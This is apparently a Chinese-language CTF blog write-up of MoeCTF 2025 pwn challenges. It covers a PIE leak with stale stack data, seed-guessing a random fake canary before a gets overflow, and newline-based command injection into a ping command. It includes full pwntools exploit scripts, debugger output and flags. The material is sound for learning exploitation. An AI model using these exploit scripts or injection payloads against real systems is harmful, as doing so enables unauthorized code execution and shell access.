之前我一直做的是reverse,出于兴趣和一些需要开始学习Pwn,由MoeCTF作为我的二进制之旅的起点。

xdulaker

这道题考察的是程序基址泄露和栈残留数据的利用,checksec发现没有canary:

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

运行程序之后会让你选择1/2/3,其中选择1会泄露全局变量opt的相对地址给你(格式输出符%p是输出传入指针指向的地址):

1
2
3
4
int pull()
{
return printf("Thanks,I'll give you a gift:%p\n", &opt);
}

查找全局变量opt的偏移:

1
$ objdump -t pwn | grep opt 

可以根据这个相对地址以及查找到的偏移计算出程序基址,从而找到backdoor的相对地址进行跳转。

photo和laker中各有一个read函数,其中注意到laker使用了一段看起来没有初始化过的数组进行比较,如下:

1
2
3
4
5
6
7
8
int photo()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("Hey,what's your name?!");
read(0, buf, 0x40uLL);
return puts("I will teach you a lesson.");
}
1
2
3
4
5
6
7
8
9
10
11
12
ssize_t laker()
{
char s1[48]; // [rsp+0h] [rbp-30h] BYREF

if ( memcmp(s1, "xdulaker", 8uLL) )
{
puts("You are not him.");
exit(0);
}
puts("welcome,xdulaker");
return read(0, s1, 0x100uLL);
}

那么猜测buf开头有数据残留,可以用来满足判断条件。注意这里的s1的偏移[rbp-30h]和buf的偏移[rbp-50h]。可以使用pwndbg调试一下,断在laker函数入口点,运行之后先选择2,输入32个’A’、’xdulaker’、24个’B’,然后继续运行,选择3,程序会断在laker:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> b laker
Breakpoint 1 at 0x1374
pwndbg> r
Starting program: /home/aurora/桌面/CTF/match/MoeCTF_2025/xdulaker/pwn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
A freshman has walked into the lake.
1.Pull him out
2.Take a photo of him
3.Walk into the lake.
Your choice
>2
Hey,what's your name?!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxdulakerBBBBBBBBBBBBBBBBBBBBBBBB
I will teach you a lesson.
>3

Breakpoint 1, 0x0000555555555374 in laker ()

此时查看laker的栈帧。呃实际上不是laker的栈帧,因为是断在sub rsp之前,栈帧未分配:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/80bx $rbp-0x50
0x7fffffffd0e0: 0xc0 0x45 0xe0 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd0e8: 0x20 0x80 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffd0f0: 0x30 0xd1 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd0f8: 0xd0 0x9d 0xc8 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffd100: 0x78 0x64 0x75 0x6c 0x61 0x6b 0x65 0x72
0x7fffffffd108: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x7fffffffd110: 0x68 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd118: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd120: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd128: 0x80 0x7d 0x55 0x55 0x55 0x55 0x00 0x00

发现0x7fffffffd100处存放”xdulaker”,我们单步执行一次,为laker函数分配栈帧:

1
pwndbg> ni

此时查看laker的rsp和rbp,栈帧大小刚好为0x30字节,而且rsp刚好指向photo残留的”xdulaker”:

1
2
RBP  0x7fffffffd130 —▸ 0x7fffffffd140 —▸ 0x7fffffffd1e0 —▸ 0x7fffffffd240 ◂— 0
*RSP 0x7fffffffd100 ◂— 0x72656b616c756478 ('xdulaker')

于是我们可以利用这段残留数据过memcmp,然后就是基本的栈泄露,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch="amd64", os="linux", log_level="debug")

sh = process("./pwn")

sh.sendlineafter(b">", b"1")
sh.recvuntil(b"gift:")
opt_addr = int(sh.recvline().strip(), 16)

opt_offset = 0x4010
backdoor_offset = 0x1249
ret_offset = 0x1262

base_addr = opt_addr - opt_offset
backdoor_addr = base_addr + backdoor_offset
ret_addr = base_addr + ret_offset

sh.sendlineafter(b">", b"2")
payload_photo = b"A" * 32 + b"xdulaker" + b"B" * 24
sh.sendafter(b"name?!", payload_photo)

sh.sendlineafter(b">", b"3")

payload = b"A" * 48
payload += b"B" * 8
payload += p64(ret_addr) # 加入栈对齐
payload += p64(backdoor_addr)

sh.sendlineafter(b"xdulaker", payload)

sh.interactive()
# moectf{63_C@r3fUL_Of-thE_1@k323ae5f670}

boom

这道题实际上是考察伪随机数的生成,题目保护如下:

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

可以看到没开canary,题目中出现了gets函数,并且用随机数模拟了一个canary,想到栈溢出。使用gets的条件是输入’y’或’Y’并且传入正确的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[124]; // [rsp+0h] [rbp-90h] BYREF
int v5; // [rsp+7Ch] [rbp-14h]
int v6; // [rsp+8Ch] [rbp-4h]

init();
puts("Welcome to Secret Message Book!");
puts("Do you want to brute-force this system? (y/n)");
fgets(&brute_choice, 8, stdin);
v6 = 0;
if ( brute_choice == 121 || brute_choice == 89 )
{
v6 = 1;
canary = random() % 114514;
v5 = canary;
puts("waiting...");
sleep(1u);
puts("boom!");
puts("Brute-force mode enabled! Security on.");
}
else
{
puts("Normal mode. No overflow allowed.");
}
printf("Enter your message: ");
if ( v6 )
gets(s);
else
fgets(s, 128, stdin);
if ( v6 && v5 != canary )
{
puts("Security check failed!");
exit(1);
}
puts("Message received.");
return 0;
}

题目提示说解法与时间有关,这里我们获取当前时间,设置多个种子进行尝试,过了之后就是简单的栈溢出,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import CDLL
import time

sh = process("./pwn")

sh.recvuntil(b'(y/n)')
start_time = time.time()
sh.sendline(b'y')
sh.recvuntil(b'Enter your message:')

libc = CDLL('libc.so.6')
seeds = [int(start_time), int(start_time)-1, int(start_time)+1, 1, 0, int(time.time())]

for seed in seeds:
libc.srand(seed)
canary = libc.rand() % 114514
payload = b'A'*124 + p32(canary) + b'B'*12 + p32(1) + b'C'*8 + p64(0x40128F) + p64(0x401276)
sh.sendline(payload)
result = sh.recvline(timeout=1)
if b'Security check failed' not in result:
sh.interactive()
break
sh.close()
sh = process("./pwn")
sh.recvuntil(b'(y/n)')
sh.sendline(b'y')
sh.recvuntil(b'Enter your message:')

# moectf{IAST-T1m3_TlmE-l5_5pE3Ding-uP16a0e11}

boom_revenge

这道题好像和boom没什么区别,保护也开的一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[124]; // [rsp+0h] [rbp-90h] BYREF
int v5; // [rsp+7Ch] [rbp-14h]
int v6; // [rsp+8Ch] [rbp-4h]

init(argc, argv, envp);
puts("Welcome to Secret Message Book!");
puts("Do you want to brute-force this system? (y/n)");
fgets(&brute_choice, 8, stdin);
v6 = 0;
if ( brute_choice == 121 || brute_choice == 89 )
{
v6 = 1;
canary = random() % 114514;
v5 = canary;
puts("waiting...");
sleep(1u);
puts("boom!");
puts("Brute-force mode enabled! Security on.");
}
else
{
puts("Normal mode. No overflow allowed.");
}
printf("Enter your message: ");
if ( v6 )
{
gets(s);
if ( v5 != canary )
{
puts("Security check failed!");
exit(1);
}
}
else
{
fgets(s, 128, stdin);
}
puts("Message received.");
return 0;
}

直接用boom的exp即可。

1
# moectf{n0_pIE@SE_STOP_l-5uRrENder206a1c8a}

inject

这题模拟了一个服务,可以发现ping_host()中ping的地址是由输入拼接的,不像pwn题,疑似web题命令注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int ping_host()
{
const char **v0; // rsi
size_t v1; // rax
char *v2; // rdi
unsigned __int64 v3; // rax
const char **v4; // rdx
char v6; // [rsp+1h] [rbp-51h]
__int64 buf[2]; // [rsp+2h] [rbp-50h] BYREF
char command[40]; // [rsp+12h] [rbp-40h] BYREF
unsigned __int64 v9; // [rsp+3Ah] [rbp-18h]

v9 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
_printf_chk(1LL, "Enter host to ping: ");
v0 = buf;
if ( read(0, buf, 15uLL) <= 0 )
exit(1);
v1 = strlen(buf);
if ( *(&v6 + v1) == 10 )
*(&v6 + v1) = 0;
if ( check(buf) )
{
v0 = &qword_20;
_snprintf_chk(command, 32LL, 1LL, 32LL, "ping %s -c 4", buf);
v2 = command;
execute(command);
}
else
{
v2 = "Invalid hostname or IP!";
puts("Invalid hostname or IP!");
}
v3 = v9 - __readfsqword(0x28u);
if ( v3 )
{
_stack_chk_fail(v2, v0);
LODWORD(v3) = main(v2, v0, v4);
}
return v3;
}

那么可以使用’#’注释掉后面的”%s -c 4”,然后前面接入”/bin/sh”,再在前面接一个’\n’来换行,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
sh = process('./pwn')

payload = b"\n/bin/sh #"

sh.sendlineafter(b"choice: ", b'4')
sh.sendafter(b"Enter host to ping: ", payload)

sh.interactive()

# moectf{tHl5_l5_nOT-1ikE-@-PWN-CH41lENG3158dc6}

这里说一下system函数:

Windows下的system函数直接在控制台执行传入的command,而Unix/Linux下的system会fork一个子进程运行shell解释器来执行传入的command,即在控制台执行:

1
/bin/sh -c "[command]"

而shell解释器可以通过;\n来隔开命令,所以要接入一个’\n’来使”/bin/sh”单独执行

未完待续……